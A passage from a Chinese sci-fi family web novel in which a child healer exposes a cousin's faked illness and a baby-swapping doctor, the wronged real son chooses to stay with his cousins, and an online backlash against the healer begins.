以前只要他跟许异站在一起,所有人都会关注他。 他还从来没有被人忽视得这么彻底过。 都是许异的错! 想到这里,他晃了晃身体。 林意姝立刻反应过来:“恩怀,你怎么了!你没事吧?” 所有人的目光都看了过来。 许异脸上的笑容却淡了。 他早就习惯许恩怀的招数了。 从他回到家以后,不管是在家里还是学校,许恩怀就总在重要场合晕倒。 只要许恩怀一晕倒,所有人都会去关心他,照顾他。 时间一长,也就没有人再注意到他。 即便是他所谓的朋友,也会帮许恩怀说话:“许异,许恩怀身体弱,你就让让他吧。” 这次……或许也是一样吧。 许异下意识想要将手抽回来。 谁知小幼崽却皱起眉头,担忧道:“许异表哥,你怎么了?你是不是难受啊?” 许异愣住了。 江从谦从来不怀疑又又的判断,立刻扶着许异坐下来,又让莫管家去请医生。 江昭晏和江见微也在一旁嘘寒问暖,完全没人去搭理许恩怀。 许恩怀:“……” 他有些装不下去了,装作头昏的模样,扶着林意姝的手:“妈妈,我没事,可能是站得有点久了……” 林意姝却心疼不已,原本她打算徐徐图之,等跟又又关系处好了,再提出请他帮忙治病的请求。 现在,却是等不及了。 她轻咳一声,看向又又的方向:“又又,姨母有一件事想请你帮忙。” 又又:“什么事啊?” 林意姝握着许恩怀的手,表情凝重恳切:“你表哥身患重病多年,姨母想求你,替他看看,能不能够治愈他?” “可以啊!” 出乎林意姝意料的是,又又竟然一口就答应了。 还没等她高兴,就听见又又继续说道,“可是许异表哥的病有点麻烦,可能要时间久一点,没关系吗?” 林意姝愣住了:“什……什么叫许异的病?许异怎么会生病?” 他看起来明明比恩怀健康多了啊! 又又挠挠头,迷惑不解:“许异表哥身上时常会有伤痕,这些伤剧痛无比,这就是他的病症啊!” 林意姝:“!!!” 她不可置信地看着许异。 她一直以为,那是许异跟人打架留下的伤口,原来竟是生病吗? 她看着许异沉默的脸,心脏忽然泛起一阵慌乱。 她下意识起身,想要朝许异走去,袖子却被人拉住。 她垂下头,看着虚弱的许恩怀。 她这才仿佛回过神一般。 如果许异这样就算重病了,那时常晕倒的恩怀,岂不是更加严重?! 想到这里,她强行压下对许异的担忧,急切地对又又道:“又又,姨母说的是你恩怀表哥,他的病更加严重,你能先给他治疗吗?” 许异原本亮起的眸光彻底暗了下去。 他放在身侧的拳头紧紧握着,连指甲掐进掌心里,都浑然不觉。 许恩怀微微勾起唇角。 他就知道,许异凭什么跟他争! 然而,又又歪了歪头,绿眸中满是困惑。 “可是,他没有生病啊!” 瞬间,满室死寂。 第72章 又又的话像是一颗炸弹,轰然在满室寂静中炸开,震得所有人都愣在原地,说不出话来。 林意姝呆呆地看着他,仿佛没能理解这句话的意思。 许恩怀的笑容也僵在了脸上。 最后,还是那个存在感不强的姨夫许延问道:“没病……是什么意思?” 又又眨了眨眼睛:“就是没有生病呀,他的身体很健康!” “不可能!”林意姝回过神,想也不想便反驳道,“恩怀的身体一直都不好,我费了好多心血,才把他平安养大……” 她越说越急,声音都有些发颤,“上个月他还在学校里晕倒了,还好发现得早……哪个健康人会这样?” 许延也跟着点头,语气里带着几分痛惜:“是啊,恩怀小时候异能天赋很高,就是因为生病,才拖累了他……” 又又呆住了。 可是,他真的没在许恩怀身上看到什么病气啊! “够了!” 江从谦见到他们对自家小幼崽咄咄逼人的样子,脸色沉了下来,挡在又又面前,“既然姨夫姨母不相信又又的判断,那恩怀表弟的病,你们还是另请高明吧!” “不、不是……”许延慌了,连忙道,“我们不是不信又又,只是恩怀的病是超荷症,这种病症极为罕见,又又年纪小,或许经验不足,没有看出来呢?” “对了!”林意姝想到了什么,连忙将光脑打开,光屏上显示的正是许恩怀的体检报告和病例。 这密密麻麻的数据,直接把小幼崽看昏头了。 江从谦接过来,目光极快地扫过光屏上的数据。 虽然他并不是医学专业的,但这些年他因为异能崩坏症的缘故,对异能医学都有涉猎,再加上脑域强化,他很快就在这些报告中发现了一些猫腻。 “这几个数据不对。”他指尖落在光屏上,语气淡然,“异能强度是和异能波动值相关的,他这两份报告中,异能强度相差这么多,异能波动值却是一样的,这根本不可能。” 林意姝和许延都愣住了:“什么?!” 许恩怀的眸底也闪过一丝慌乱。 眼看着江从谦继续往后翻,许恩怀忽然双眼一翻,身体直直地向后倒去。 “恩怀!!” 林意姝立刻扑过去,将许恩怀抱在怀里。 看着怀里双目紧闭、一动不动的儿子,她顿时慌了,顾不上分辨检查报告的真假,就要带着许恩怀回星舰上。 这次过来,为了许恩怀的身体,他们特意在星舰上安装了一个医疗室,以及最先进的医疗设备。 就在他们急急忙忙往外走的时候,江从谦却忽然道:“回去做什么?” “整个联邦最好的异能医院就在蔚蓝星区,比停泊港要近得多,不如就在这边治疗,治疗完,顺便还能给表弟做个全面检查,也好确定表弟的病因到底是什么。” 林意姝的脚步猛然顿住。 这些年,许恩怀每次生病,都是陶医生力挽狂澜,把人救回来。 所以,她一看到许恩怀晕倒,下意识就要去找陶晴。 被江从谦一提醒,才反应过来:“对,你说得对!在这边治疗更好!” 她全然没有注意到,被她抱在怀里的许恩怀,睫毛快速地扇动了几下。 江从谦让莫管家将悬浮车开过来,亲自送他们去医院。 林意姝和许延立刻抱上许恩怀,快步跑上车。 两人满脸焦急,眼中都只有许恩怀一个人,完全没有注意到还在房间里的许异。 许异孤零零地站在原地。 他看着悬浮车无声启动,很快便消失在了天际,手指下意识蜷了起来。 而他们一走,江昭晏就挑了挑眉:“又又,想不想跟上去看场好戏?” “好戏?”又又仰起头,眨巴了一下眼睛,“姐姐,你这个样子看起来好像反派哦~” “桀桀桀——”江昭晏狞笑着捏了一把小幼崽的脸蛋,“是不是这个样子呀?” 又又叹了口气:“姐姐你好幼稚……” “啧!那你想不想去嘛?”江昭晏没好气道。 “想去!” 小幼崽可好奇了。 明明许恩怀身上没有病气,可他为什么会晕倒呢? 江昭晏笑着把他抱起来,随即又对许异道:“表弟也一起去吧,免得你一个人在家无聊。” 许异有些怔愣。 江家的氛围和他想象中的完全不一样。 可不论是刚刚江从谦护着又又的冷厉,还是江昭晏逗弄小幼崽的亲昵,都让他觉得陌生又安心。 他抿了抿唇,轻轻点头:“好。” “走了走了!”江见微的声音从外面传来,他不知道什么时候把悬浮车开了过来,“再磨蹭,大哥他们都要到医疗中心了。” 几人这才匆匆上了悬浮车,朝着医院开去- 听说江从谦过来,章康教授和乐清沅都迎了出来。 然而,在听到江从谦竟然是送人过来治疗的时候,两人都愣住了。 等到章康安排人把许恩怀送去病房,乐清沅才偷偷走到江从谦身边,压低声音问道:“你家不是有又又在吗?怎么还送病人来医院?” 作为江从谦之前的医生,他的异能崩坏症是如何治愈的,乐清沅可是看在眼里的。 自从又又的治愈异能在全联邦面前暴|露后,乐清沅仗着关系,知道了不少内幕。 他可以说是最了解又又能力的人之一了。 有又又在,不管什么病都能够治愈。 哪怕他们是联邦最好的异能医院,也根本没法比。 因此,对于林意姝他们这种舍近求远的行为,他实在是有些不能理解。 江从谦注视着许恩怀被送去病房,才对他说道:“又又说,他没病。” 乐清沅:“!!!” 他眼睛都冒出了八卦的亮光,捂着嘴道,“你是说……他装病?!” 江从谦淡淡地瞥了他一眼,没有回答,只是道:“一会好好给他做个检查。” “放心!包在我身上!”乐清沅秒懂。 他立刻拍着胸脯保证。 有瓜吊在前面,他干劲可足了。 等江昭晏他们赶到的时候,许恩怀已经被送去治疗了。 林意姝紧握着双手,目光一瞬不瞬地盯着治疗室的方向,完全没有注意到一同过来的许异。 哪怕许异早已习惯,但还是不可避免地感觉到心凉了一瞬。 就在这时,他忽然感觉到手臂传来一阵剧痛。 像是一把小刀在他的骨头上来回刮擦,疼得他眼前一黑,整个人差点跪倒在地。 他下意识转身,想要去找个安静无人的角落躲起来,将这阵疼痛捱过去。 就像他曾经在垃圾星时那样。 在那种地方,病痛绝不是让人同情的东西,而是代表虚弱可欺。 只要他显露一点,就会被周围的人吃得骨头都不剩。 所以,他早就习惯把痛苦咬碎了咽进肚子里,连哼都不敢哼一句。 反正忍一忍,总能熬过去。 然而,没等他离开,就有一只小手扯住了他的袖子。 “许异表哥,你是不是发病了?” 又又的声音,顿时将所有人的注意力都吸引了过来。 许异脸色惨白,额头渗出细密的汗珠,虽然他极力克制,但身体仍旧在微微颤抖。 林意姝怔了一下。 以前许异也和她说过,自己不舒服。 可她都以为,这是许异为了和恩怀争宠,故意骗人的,并没有当一回事,还责怪过他。 之后,许异就再也没有说过了。 这是她第一次看到许异发病的样子。 和恩怀不一样,他没有夸张的抽搐,也没有呼痛的呻|吟。 只是这种压抑到极致的颤抖,让她的喉咙像是被什么塞住一般,张了张嘴,却发不出声。 她下意识要迈步。 江见微却已经扶着许异坐下来:“表弟,你坐这里!” 又又则一口啃上了他的病气。 就这么几口下去。 原本浓郁的病气瞬间淡去许多。 “唔……”许异咬着牙,却还是没忍住闷哼了一声。 但他很快便发现,往常要折磨他许久的剧痛,此刻竟缓缓消散了一般,只剩下一点点麻痒。 这是他这么多年,第一次如此轻易地度过发病期。 许异怔怔地看着又又,喉结动了动,声音沙哑:“谢……谢谢你,又又。” 又又舔了舔嘴唇:“不客气!” 越吃越觉得,这个味道和希尔哥哥身上的很像。 小幼崽不禁生出一个想法。 要不,去看看许异表哥身上的病灶? 于是,他便这么坐在许异身旁,顺着他的病气一点点探寻。 许异的病虽然不轻,但比起希尔还是要好很多的。 再加上之前有过经验,他很快便找到了病气的源头。 在这里! 小幼崽定睛看去,却愣住了。 黑色莲花!! 虽然比希尔身上的小,也没有那么凝练。 但确实是一模一样的! 虽然他早就察觉到,许异的病气和希尔很像,但也没想到,竟然真是同一种病症。 可是,许异表哥是联邦人,希尔哥哥是帝国人。 他们的进化方向都不一样,为什么会生出同样的病症呢? 正当又又百思不得其解的时候。 治疗室的门被打开,治疗的医生走了出来。 林意姝顿时就顾不上许异了,急忙上前:“医生,恩怀他怎么样了?他醒来没有?” “他还没有清醒,不过……” “不过什么?” 医生面色有些古怪:“我们在检查过程中,发现他确实有超荷症的症状,但是……他的异能波动却跟超荷症的症状表现完全不同。” 林意姝愣住:“怎么会……” 医生继续说道:“我们对他重新做了检查,在他的血液中检查出了一种违禁物,这种物质对身体无害,但会产生超荷症的症状,一般的仪器也很难检测出来……” 林意姝:“!!!” 许延脱口而出:“难道恩怀的病是假的?!” 医生点点头:“是的,他的身体很健康,他突然晕倒,应该就是违禁物的作用,等到药物代谢干净,就没事了。” 林意姝和许延都呆住了。 林意姝脑子嗡嗡作响。 想到这些年,她为了恩怀的身体,呕心沥血,小心翼翼,唯恐伤害他一点。 却没想到,这些都是假的! 许延也没比她好到哪里去。 他自认对许恩怀很好,哪怕发现他不是自己的亲生儿子,但顾念着这么多年的父子之情,顾念他孱弱的身体,依旧让他住在家里,还用双生子的名义,掩盖了这桩事情。 他已经是仁至义尽了! 然而许恩怀竟然把他当成傻子! 一想到自己这些年,竟被一个骗子玩弄于股掌之中,他便怒不可遏。 “是陶晴!!” 许延脸色通红,拳头紧握。 陶晴是许恩怀的私人医生,从许恩怀三岁就跟在他身边了。 每次许恩怀发病,都是陶晴在治疗,那些检查报告也都是出自她手,她肯定知道真相! 林意姝愣了一下:“她为什么要这么做?” “那就要问她才知道了!” 说完,他便带着保镖,怒气冲冲地去陶晴住的酒店。 他走后,林意姝六神无主地坐在椅子上,像是一下子苍老了好几岁。 倒是江从谦几人,早就知道许恩怀是装病,态度很平静。 江昭晏却好奇地问道:“姨母,这个陶晴是谁?” “她……她是恩怀的私人医生,恩怀小时候生病,就是她治好的……”林意姝此刻很想找个人倾诉,想也不想地便一股脑说了出来。 江昭晏听着,下意识和江从谦交换了个眼神。 这个陶晴并不简单。 江从谦走出去,找人吩咐了一声。 而江见微手里不知何时拿了个通讯器,正在有一搭没一搭地把玩着。 很快,许延就把陶晴带了过来。 陶晴一开始并不知道发生了什么,直到走进医院,看到满脸愤恨的林意姝,心里才咯噔一下。 她原本还心存侥幸,试探地问道:“林夫人,这是怎么了?是恩怀少爷又发病了吗?” “你还敢提恩怀!!”林意姝怒吼道,扬手将手中的光脑砸了过去,“你好好给我解释!” 陶晴被砸得痛呼一声,却立刻将光脑捡起来。 她看着上面的检查报告,心越来越沉。 怎么会被发现的?! 这些年,陶晴用这种药物帮许恩怀获得父母的宠爱,也帮自己在医院站稳了脚跟。 一开始她也担心。 只是这些年下来,任何仪器都检查不出来,她也就渐渐放下了心,胆子也越来越大。 可没想到…… “你现在还有什么话说?!”许延冷冷地看着他。 陶晴眸光闪了闪,却径直跪了下来,捂着脸哭道:“许先生,林夫人,我冤枉啊!我真不知道这什么违禁药,我这些年在医院里都是兢兢业业的,我医术不精我认,但我真没做过这种事啊!” “至于说我和恩怀少爷合谋,那就更不可能了!这对我有什么好处啊!我为什么要这么做啊!” 她哭得涕泪横流,说的话也不是没有道理。 林意姝愣了一下,不禁有些摇摆。 连许延也有些狐疑。 这些年下来,陶晴早就知道他们夫妻俩耳根子软,一番唱念做打,把自己活脱脱地塑造成了一个被冤枉的人。 就在她以为,这次又会成功糊弄过去时。 却忽然听见身后传来一个冷冽的声音:“为什么要这么做?当然是因为你和许恩怀,是亲生母子啊!” 陶晴的哭声戛然而止。 她猛地抬头,瞳孔骤缩,几乎维持不住脸上的表情。 他是谁! 他怎么会知道! 林意姝和许延更是被这个消息炸得头晕眼花。 “什么?!” 江从谦意识到陶晴不简单后,便多留了个心眼,让人在陶晴进来的时候,拿一根她的头发,去和许恩怀做DNA鉴定。 果然不出他所料,许恩怀就是陶晴的亲生儿子。 “你……你胡说!”陶晴尖叫道。 江从谦却只是淡淡道:“要验证我是否胡说,只要你跟许恩怀再做一次亲子鉴定就行。” 陶晴僵住了。 她当然不敢跟许恩怀做亲子鉴定。 江从谦又道:“你当年未婚生子,正好和姨母差不多时候生产,你作为医生,很轻易就将两个孩子掉包,不仅如此,你还把姨母的亲生孩子许异丢到了垃圾星。” “你本以为这一招天衣无缝,却没想到,许异异能天赋极高,刚出生就被检测出了S级异能,而许恩怀不仅是最普通的C级异能,甚至异能等级也低。你担心他会被发现是个赝品,于是便使用违禁品,伪造了超荷症的症状,以此来规避异能检测。” “我说的对吗?” 陶晴脸色刷的一下变得惨白。 林意姝呼吸顿时一窒。 她此时再蠢,也知道自己又被陶晴骗了。 她本以为抱错孩子只是一场意外,如今才意识到,这就是陶晴处心积虑做下的。 而自己,不仅帮仇人养了这么多年的儿子! 甚至还因此委屈了自己的亲生骨肉! 她又气又悔,再也忍不住,冲上前去,狠狠给了陶晴一个巴掌。 “啪!” 陶晴被她打得直接偏过脸去。 “妈妈……” 许恩怀的声音从她们身后传来。 陶晴下意识看过去。 却发现许恩怀一个眼神都没有给她,而是直直地跑到林意姝身边,哭着道:“妈妈!我真的不知道!我不知道陶晴是坏人,我也不知道她故意给我吃违禁药!” 他声音哽咽,死死地抱着林意姝的腿,“我只知道,你才是我的妈妈……” 陶晴呆住了。 她怎么都没想到,自己一心为之打算的儿子,竟然会毫不犹豫地出卖她。 她为他费了那么多心血,做了那么多事! 她将他送进许家,让他过荣华富贵的日子,临到头却换来这种下场! “你……你这个白眼狼!”陶晴尖叫地扑过去。 许延的保镖死死地将陶晴按住,她看着瑟缩着躲在林意姝身后的许恩怀,突然颓然地瘫了下去,“是报应……都是报应……” 许恩怀跪在林意姝身边,赌咒发誓:“妈妈,我真的不知道!我是无辜的!” “不知道?无辜?”江见微似笑非笑的声音传来,“不见得吧?” 他晃了晃手中的通讯器,光屏上正显示着许恩怀和陶晴的聊天记录。 许恩怀不可置信地看过去。 不可能! 他明明都已经删掉了!! 林意姝按住胸口,呼吸急促得像是要窒息。 她看着聊天记录里,许恩怀亲亲热热地叫陶晴妈妈。 又看着他和陶晴商量,要如何打压许异。 心思之恶毒,言语之残忍。 令林意姝不可置信。 这竟然是她捧在手心里,精心教养了这么多年的孩子?! 而越看下去,她就越心慌。 原来许恩怀说许异在学校里欺负他,实际却是他在霸凌许异。 许异跟她解释时,她又做了什么呢? 她不分青红皂白,就惩罚了许异。 原来她以为许异把许恩怀推到湖里,也是许恩怀故意陷害的。 她却听信了许恩怀的一面之词,扇了许异一巴掌。 原来……原来她才是那个助纣为虐的人! 林意姝悔恨不已,仓皇地朝许异看过去。 却见他神情冷漠,完全没有看他们。 “对不起……对不起,小异,是妈妈错了!” 林意姝的眼泪顿时涌了出来,她一把推开许恩怀,踉跄地走上前,想要抱住许异。 然而许异却退后了半步,躲开了她。 林意姝愣住了。 她看到了少年眸中的神情。 刚回家时,许异看着她时,眼底都是濡慕。 如今看着她的眼神,却像是在看陌生人。 许延此时也反应过来,朝许异露出一个和蔼的笑容:“小异,你妈她知错了,我们以后一定好好对你!你就别跟爸爸妈妈生气了。” 许异抬起头,目光从他们俩的脸上滑过。 他想起刚找到父母的时候,他兴奋得根本睡不着。 他以为自己有家了。 从此也有人关心他,疼爱他。 他不再是孤零零一个人了。 可是,当他真正进入许家,却依旧是那个被人忽视的小透明。 他以为是自己做得不够好,是自己不够乖。 他努力学习,忍着病痛使用异能。 直到遇到江家人。 他忽然就明白了,这才是家真正的模样。 家人是不需要拼命讨好才被看见的。 是有人随时将他护在身后。 是不需要伪装,不需要懂事,就能被爱的。 “不用了。”他抬起头,声音虽然轻,却很坚定,“我已经不需要你们了。” 第73章 陶晴因为涉嫌违禁药的购买和使用,很快就被军部收监了。 倒是许恩怀,也因为知情不报,一并被抓了进去。 其实许恩怀的情况并不算很严重,再加上没有成年,只要有人保释,还是可以出去的。 然而,许延和林意姝知道他做的那些事情之后,又恶心又气愤,根本就不想要保释他。 许恩怀知道后,刚刚还可怜求饶的的嘴脸,瞬间一变,对他们夫妻二人破口大骂。 两人差点气得当场晕倒。 越发悔恨自己以前有眼不识珠,把真正的宝贝弃之敝屣,却把这样一个东西捧在手心。 不过,许异并没有在现场。 这些都是江昭晏后来告诉他的。 “你都不知道,当时场面有多精彩!”江昭晏说爽了,才后知后觉反应过来,这是许异的亲爸妈,她讪讪道,“对不起啊,表弟,我一说多了嘴就没把门……” 许异摇摇头。 他知道江昭晏不是故意的。 这段时间,许延和林意姝在他面前做足了慈父慈母的样子。 他们像以前对待许恩怀那样,关心他的身体。 他们知道他爱吃什么,不爱吃什么,甚至他们还亲自下厨为他做菜。 他们也不再像以前那样,对他冷淡,他只要能跟他们说一句话,都能让他们受宠若惊。 这是以前许异最渴望得到的。 可如今,却让他的内心没有一丝波澜。 他拒绝了跟他们回去,选择留在江家。 这件事对许延和林意姝夫妻的打击很大。 但最终,他们也只能带着无尽的悔恨离开了蔚蓝星区。 其实,许异一开始决定留下来的时候,也有些忐忑。 毕竟现在才是真正的寄人篱下。 可谁能想到,他反倒在这里感觉到了安心。 江从谦他们倒也没有刻意照顾他,就把他当做家里普通的成员来对待。 这让许异慢慢地把心放了下来。 江从谦是所有人中间最忙碌的,但只要有机会就会回来跟弟弟妹妹一起吃饭。 被又又调|教后,时不时便会给他们带礼物回来。 许异第一次收到的时候,都愣住了:“我也有吗?” “当然!” 江昭晏头也不抬地回答道。 她正在抓耳挠腮地写调动申请。 她的假期已经结束了,按理应该回第七军团了。 只是她在陶晴的违禁药这件事中,发现了当初埋伏她们的反政府军的线索。 然而,陶晴被关押在军部,江昭晏想要查,就得进入军部。 其实,江昭晏的功劳早就可以调来军部了。 她之前不愿意调动,一方面是喜欢第七军团的氛围,另一方面则是和父亲还有大哥的关系不好,不想跟他们生活在一起。 但如今却是不一样了。 她和大哥的关系改善了许多,再加上这边还有又又。 她之前便一直在犹豫。 直到这个案子,让她彻底下定决心。 但是…… “啊啊啊啊!!!这个破申请也太麻烦了!军部就是事多!!” 江昭晏目光一转,落在了江见微身上。 原本坐在沙发上玩光脑的江见微,忽然全身一寒,警惕地看着江昭晏:“你要干嘛?” 江昭晏笑眯眯地将手搭在他的肩膀上:“三弟!你帮姐姐一个忙呗!” 江见微皱眉:“什么忙?” 江昭晏迅速将光屏放到他面前:“帮我把这个申请写了,谢谢!” 江见微:“……!” 他不可置信地指着自己,“你让我帮你写调动申请?你怎么不让我帮你上战场呢!” “擅长的人要做擅长的事嘛!”江昭晏努力委婉,“你开机甲的水平……呃……” 江见微怒瞪她:“你不是有副官吗?!” “塞西莉亚还没有调过来呀!”江昭晏理所当然道,“等她过来了,这些文书工作就会由她来做了。” 拿着光屏的江见微一顿,立刻意识到了什么,声音都变了调:“还有文书工作?!” “嘿嘿嘿……” 江见微丢开光屏就要逃跑,但下一秒,江昭晏就按住了沙发巾,将江见微牢牢地捆了起来。 江见微:“!!!” “江昭晏你这个混蛋!!!” 许异看着眼前的一幕,简直目瞪口呆。 “没事的,许异表哥。”一旁的又又非常好心地安慰他,“这种事在我们家很常见,01都已经习惯了,是吧,01?” 端着点心过来的01沉稳地说道:“是的,从某种程度来说,二小姐是在帮主人进行运动,而且,用沙发巾捆住主人,总好过上周用仙人掌来捆……” 许异的手指微微颤抖:“……” 他又看了眼在鸡飞狗跳中,还能一脸淡定安排事情的江从谦。 忽然觉得自己的心放得太早了。 等到吃完饭,又又便迫不及待地将他拉到了房间里。 最近这几天,他都在研究许异身上的病症。 许异的异能名为“致幻”,是罕见的S级精神系异能。 而他的病症名为自蚀症。 自蚀症非常罕见,一般是精神系异能者才会患上的病。 这种病算是某种长期慢性病,身体会不断被伤害。 而且,因为这种病患者比较少,市面上也几乎没有针对的药,甚至吃止疼药都没什么效果。 又又能够吞噬掉许异身上的病气,让他能够像正常人一样生活。 但他很快便发现了,如果不吞噬掉病灶,就和希尔一样,病气还会再生。 只不过,许异病气的再生速度会比希尔慢很多。 又又并没有专业的医疗知识。 只是凭借食病兽的本能,发现这是同一种病。 这就奇怪了。 因为这种病是由异能引发的。 而帝国人是没有异能的。 根据希尔所说,圣律帝国的人会将一切反映在精神体上。 他们将其称之为精神体试炼。 这种情况之下,几乎是不可能产生同样的病灶的。 小幼崽越想越糊涂。 不过算了! 想得再多,不如自己去试试。 又又熟练地顺着病气找到那朵黑色莲花。 想到上次他一咬咬了个空,差点还把舌头给咬到了。 这次他就有了准备,小心翼翼地咬了下去。 咦? 又又一愣,随即再咬了一口。 清香脆爽的口感滑进了他的嘴巴,即便吞咽下去了,也有种齿颊留香的感觉。 太好吃了!!! 又又心神一荡,手中的病气瞬间散开,那朵被咬了一口的黑色莲花也再次消失在大片病气中。 又又沉迷在了许异身上的病灶,吃得不亦乐乎。 完全忘记今天跟希尔约好了。 与此同时,希尔已经站在了江家的门口。 莫管家替他拉开门,他下意识朝里看去。 往常这时候,小幼崽已经在客厅等着他了,他一来,就会喊着“希尔哥哥”扑到他的怀里。 可是今天,客厅里空荡荡的,无比安静。 莫管家引他先坐下,又给他端点心茶水过来。 希尔却有些不安,忍不住问道:“又又……怎么了?” “小少爷?”莫管家愣了一下,却很快就注意到了希尔眸光中的担心,笑了笑,“您放心,小少爷没事。” 听到他这样说,希尔顿时松了口气。 莫管家道:“小少爷这会应该在房里,我上去叫一下他。” “我去。” 希尔摇摇头,自己朝楼上走去。 来江家的次数太多了,他对又又的房间,比对自己家还熟悉。 然而他刚走到门口,却发现又又的房门是虚掩的,里面还传来又又和别人说话的声音。 希尔瞳孔一缩。 身侧的空气波动,银狼已经跳了出来,低吼一声,扑进了房间。 许异原本还在和又又讨论自蚀症的事情。 却忽然听到狼嚎声,他下意识绷紧身体,挡在了又又身前。 但下一秒。 他就听见又又惊喜的声音:“希尔哥哥!狼狼!” 小幼崽一头扑进了银狼丰厚的毛发中,脸颊用力蹭了蹭。 银狼眯起那双紫眸,喉咙发出轻柔的呼噜声,任由又又抱着他蹭来蹭去。 许异却愣住了。 他看了看银狼,又看了看银狼身后,那个银发紫眸,面容精致的少年。 这样明显的长相特征,还有那只银狼,一看就是帝国人特有的精神体。 对方的身份兼职不言而喻。 “阿多尼斯殿下!” 许异并不像大部分联邦人那样,仇视这位帝国的质子殿下。 但还是对他的身份抱有警惕心。 他不知道又又为什么会和他关系这么好,但身为元帅之子的又又,按理来说是不该与他亲近的。 许异担心,是他隐瞒了身份来接近又又。 于是他一把拉回又又,挡在了自己身后。 希尔看向他的目光顿时冷了下来。 然而许异却丝毫不惧。 两人就这样互不相让。 直到又又从许异身后探出头:“许异表哥,怎么啦?” 许异神情严肃:“又又,你知道他的身份吗?” “身份?”又又有点懵。 许异见他的表情,越发确定是希尔骗了他,越发警惕,手指都按在了通讯器上,准备随时给江从谦拨号求救:“你知道吗?他是圣律帝国的质子殿下!” 又又眨了眨眼睛:“我知道呀!” 这回轮到许异愣住了:“你……你知道?!” “知道呀!”又又点点头,“我们第一次见面就知道啦!” 小幼崽从他身后走出来,仰着头看向希尔:“希尔哥哥,这是我许异表哥。” 随后又看向许异,“许异表哥,这是希尔哥哥……” 希尔看着许异,用力咬字,“是……又又最好的朋友!” “对!我和希尔哥哥是最好的朋友!”小幼崽笑眯眯道。 听见他这么说,希尔的表情瞬间就缓和了。 但下一秒。 他就被最好的朋友,推到了旁边的椅子上:“希尔哥哥,你先坐一会,我还没有忙完呢!” 希尔:“……” 又又刚找着点感觉呢,赶紧便招呼许异:“许异表哥,快点,我们继续!” 许异发现希尔并不是故意欺骗又又,也放下了心。 又又的朋友,那就是他的朋友。 他努力朝希尔露出一个友好的笑容。 希尔:“……!” 然而,落在希尔眼中,这就是胜利者挑衅的笑容。 希尔又酸又妒。 和银狼的两双紫眸都一齐恶狠狠地盯了回去。 许异:“……” 等到治疗结束,已经是半个小时以后了。 希尔和银狼就在旁边乖乖地坐了半小时。 又又打了个饱嗝。 他真是好久都没吃这么饱了! “许异表哥,明天我们继续哦!” 刚要走上前的希尔,脚步就是一顿。 看着又又拉着许异说个不停,他的心里竟浮现出一股委屈。 等许异一走,他就小声道:“明天,我们……” “明天我要给许异表哥治疗,没有时间啦。”小幼崽眨巴眼睛,“我们过几天再见面吧。” 希尔呼吸一窒:“!!!” 他不是又又亲口承认的最好的朋友吗? 为什么有了那个表哥以后,他在又又心里就不重要了! 他觉得自己的心脏像是被人打了一拳,酸得皱皱巴巴的。 银狼也垂着头,委屈地朝又又呜咽了两声。 又又满心想着刚刚吞噬病灶的细节,一时没有注意到希尔的情绪。 希尔的心都凉了。 又又之前不是这样的。 难道是那个表哥在他面前说了什么? 又又听了他的话,会不会再也不理自己了。 一想到这种可能性,希尔内心顿时生出从未有过的慌乱。 他下意识抓住又又的手。 又又此时回过神,疑惑地问道:“希尔哥哥,你怎么了?” 希尔抿紧唇,却还是没忍住:“你表哥,不要见面!” “啊?”又又愣了一下,“你不喜欢许异表哥吗?” 希尔重重地点头:“不喜欢!” 他握着又又的手紧了紧,“不见面,好不好?” “不行诶。”又又似乎有点苦恼。 希尔的心再次重重地坠了下去。 但随即,他就听见又又认真地说道:“希尔哥哥,许异表哥和你是同一种病,我想试试看,能不能找到无法治疗你的原因。” 希尔愣住了:“为了……我?” 他原本坠到谷底的心脏,又轻飘飘地飞起来了。 先前那点小酸涩,瞬间化为乌有。 他唇角微微勾起来,眉梢也都带上了几分笑意。 有了又又这句话。 许异什么的,瞬间就变得不那么重要了。 又又疑惑地眨了眨眼睛。 希尔哥哥怎么一会难过,一会高兴的。 好奇怪哦!- 谢偌正在整理前段时间又又治疗的晶血症患者的资料。 自从又又的身份在星网上暴|露之后,像之前那样去酒店治疗就不那么安全了。 因而,最近治疗的患者少了很多。 而且,总有人偷偷来问她,给他们治疗的人,是不是那个治愈毒囊症的孩子。 谢偌只能含糊过去。 最后问的人太多了,她干脆关掉陌生私信,顿时清静了许多。 她收拾完,正准备下星网,私信却忽然响了起来。 谢偌一愣。 这种时候,谁会来找她? 她点进私信,却发现是一位以前患者的母亲,名叫唐娜。 【@治愈师,快看看这个![星网链接]】 谢偌疑惑地点进去,瞳孔便是一缩。 这是发在星网最大论坛上的一个帖子,光是名字就非常炸裂。 【整个联邦独一份的治愈异能,原来是只服务于权贵,我们这些屁民还是散了吧!】 【大家应该还记得,之前在武备对抗竞赛时,至于毒囊症的事情吧! 当时军部发言说调查清楚之后,就会给所有民众一个交代,如今都过去一个月了吧!军部什么时候效率这么慢了?】 他贴上几张江家附近拍到的照片,进出江家庄园的豪华星舰,高级悬浮车,甚至还有人拍到了加尔文军团长,以及元帅首席秘书官卢西恩等人。 【看到这些照片,大家应该明白了吧。 治愈异能是不假,但是人家只给这些高官权贵们治疗,跟我们这些平民一点关系都没有。】 【我就是个没有异能的普通人,说实话这跟我没什么关系,我就是有些看不惯。 以前联邦被世家把持着就算了,江元帅可是我们联邦所有普通平民捧上去的,我以为他会跟那些人不同,没想到是天下乌鸦一般黑。】 底下还有不少跟帖,都是附和的。 【我们的命肯定没有老爷们高贵呗!】 【我以前最敬佩江元帅,因为他站在我们普通平民这边,没想到,屠龙勇士终究会变成恶龙,唉……】 【治愈异能?我笑死,这世界上最牛逼的异能,就是钞能力!】 就算有人说一两句公道话。 【那还是个孩子,别这么恶毒地揣测人家吧。】 【是啊,你们怎么就知道,人家没有救过普通人……】 但立刻就被铺天盖地的攻击淹没。 【啧!投诚呢?也不想想,人家看不看得上你!】 【先掂量掂量自己的资产,看自己够不够的上吧!】 …… 而且,首页还不止一个这样的帖子。 看着那些恶毒的话,谢偌气得发抖,指甲几乎都掐进掌心里。 她比任何人都知道,又又做了什么! 如果不是又又,她妈妈早就活不下去了。 她至今都还记得,在星网上遇到又又的时候。 小幼崽很认真地安慰她:“谢偌姐姐,你妈妈的病一定会好的!” 在那之后,又又便从蔚蓝星区千里迢迢来到翡翠星区。 他偷偷地治愈了妈妈,然后就离开了。 别说出一分钱了,又又他们甚至还搭了车费和住宿费! 还有那些晶血症的患者们。 又又主动给他们治疗,担心他们经济不宽裕,还给他们出车费,提供住的地方。 小幼崽那样一片澄澈的心,怎么能被人这样污蔑!! “凭什么……” 谢偌眼眶通红,咬紧牙关,便开始输入。 【谁说他没有救普通人!我妈妈就是他救过的普通人!】 